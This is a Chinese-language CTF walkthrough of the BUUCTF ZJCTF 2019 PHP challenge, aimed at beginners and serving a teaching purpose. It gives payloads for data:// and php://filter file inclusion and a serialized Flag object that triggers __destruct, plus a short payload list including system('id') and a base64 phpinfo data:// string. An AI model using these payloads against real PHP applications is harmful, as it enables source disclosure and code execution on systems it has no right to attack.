CTF新手避坑指南:从BUUCTF那道ZJCTF 2019 PHP题看反序列化实战

第一次看到这道题时,我盯着屏幕上的PHP代码足足发了十分钟呆。作为刚接触CTF的新手,反序列化这个词听起来就像魔法咒语一样神秘。直到亲手调试了三次payload才真正理解其中的门道,现在把踩坑经验分享给同样卡在这个环节的朋友们。

1. 题目环境与初步侦查

拿到题目首先看到的是以下PHP代码片段(简化版):

<?php
$text = $_GET["text"];
if(isset($text)&&!empty($text)){
    if(file_get_contents($text,'r')==="welcome to the zjctf"){
        // 第一层通过
    }
}

$file = $_GET["file"];
if(preg_match("/flag/", $file)){
    exit("Not now!");
} else {
    include($file);  // 第二层关键点
}

class Flag{
    public $file;
    function __destruct(){
        include($this->file);
    }
}
$password = unserialize($_GET['password']);  // 第三层突破口
?>

关键侦查点

  • 三个输入参数: text file password
  • 存在文件包含漏洞和反序列化入口
  • 正则过滤了 flag 关键词但提示了 useless.php

新手最容易忽略的是代码中的 __destruct() 魔术方法,它在对象销毁时自动执行。这道题的精妙之处就在于通过反序列化触发这个包含漏洞。

2. 突破三层防御的实战路径

2.1 第一层:协议利用的艺术

text 参数需要满足:

  1. 非空
  2. 通过 file_get_contents() 读取内容为指定字符串

典型错误尝试

?text=welcome to the zjctf  // 直接传字符串无效
?text=./data.txt  // 需要服务器上有这个文件

正确解法 : 使用 data:// 伪协议直接嵌入内容:

?text=data://text/plain,welcome to the zjctf

进阶技巧:当遇到特殊字符过滤时,可以base64编码:

echo "welcome to the zjctf" | base64
# 得到:d2VsY29tZSB0byB0aGUgempjdGY=

最终payload:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

2.2 第二层:绕过过滤读取源码

file 参数存在两个陷阱:

  1. 正则过滤 flag 关键词
  2. 需要包含 useless.php 获取线索

错误示范

?file=flag.php  // 直接触发过滤
?file=./useless.php  // 可能路径不对

正确操作 : 使用 php://filter 读取源码(避免直接执行):

?file=php://filter/read=convert.base64-encode/resource=useless.php

得到的base64解码后可见关键代码:

class Flag{
    public $file = "flag.php";  // 重要线索!
}

2.3 第三层:反序列化Payload构造

这是最让新手困惑的部分。我们需要:

  1. 理解现有 Flag 类结构
  2. 构造序列化字符串
  3. 通过 password 参数传递

手工构造步骤

  1. 创建对象实例:
$obj = new Flag();
$obj->file = "flag.php";
  1. 序列化对象:
echo serialize($obj);
// 输出:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
  1. URL编码后传递:
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

3. 反序列化漏洞深度解析

3.1 PHP序列化格式详解

一个标准的序列化字符串结构:

O:<类名长度>:"<类名>":<属性数量>:{<属性类型>:<属性名长度>:"<属性名>";<属性值>}

以本题为例:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

各部分含义:

  • O :对象类型
  • 4 :类名 Flag 的字符长度
  • 1 :对象有1个属性
  • s:4:"file" :字符串类型,4字节长度,属性名为file
  • s:8:"flag.php" :属性值类型为字符串,8字节长度

3.2 魔术方法的致命诱惑

PHP中这些方法会在特定时机自动触发:

方法名 触发时机 常见危险操作
__construct 对象创建时 初始化敏感资源
__destruct 对象销毁时 文件操作、命令执行
__wakeup 反序列化完成后 重置对象权限
__toString 对象被当作字符串使用时 XSS、代码注入

本题利用 __destruct 在对象生命周期结束时自动包含文件的特点,实现了漏洞触发。

3.3 防御方案对比

方案 优点 缺点
禁用unserialize() 彻底杜绝反序列化 影响正常业务功能
签名验证 防止数据篡改 实现复杂
限制反序列化类 白名单控制风险 需要维护类列表
使用json_encode() 更安全的序列化格式 不保留对象类型信息

4. CTF解题的思维训练

4.1 代码审计四步法

  1. 找输入点 - 定位所有 $_GET $_POST 等用户输入
  2. 跟数据流 - 追踪参数如何被处理和使用
  3. 查危险函数 - 重点关注:
    • 文件操作: include file_get_contents
    • 命令执行: exec system
    • 反序列化: unserialize
  4. 挖隐藏线索 - 注释、无用文件、报错信息

4.2 有效利用开发工具

  1. PHP在线沙箱:快速测试代码片段
    // 测试序列化
    class Test{ public $var = 'value'; }
    echo serialize(new Test());
    
  2. Postman:方便构造复杂请求
  3. Burp Suite:拦截修改HTTP请求

4.3 常见Payload集合

文件包含

php://filter/read=convert.base64-encode/resource=index.php

反序列化

// 基本结构
class Exploit {
    public $dangerous = 'system("id")';
}
echo urlencode(serialize(new Exploit()));

特殊协议

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

记得第一次成功拿到flag时,我在本地搭建了同样的环境反复测试。理解每个参数如何影响程序执行流程,比单纯记住payload更重要——毕竟CTF比赛的乐趣就在于那个"啊哈!"的顿悟瞬间。

更多推荐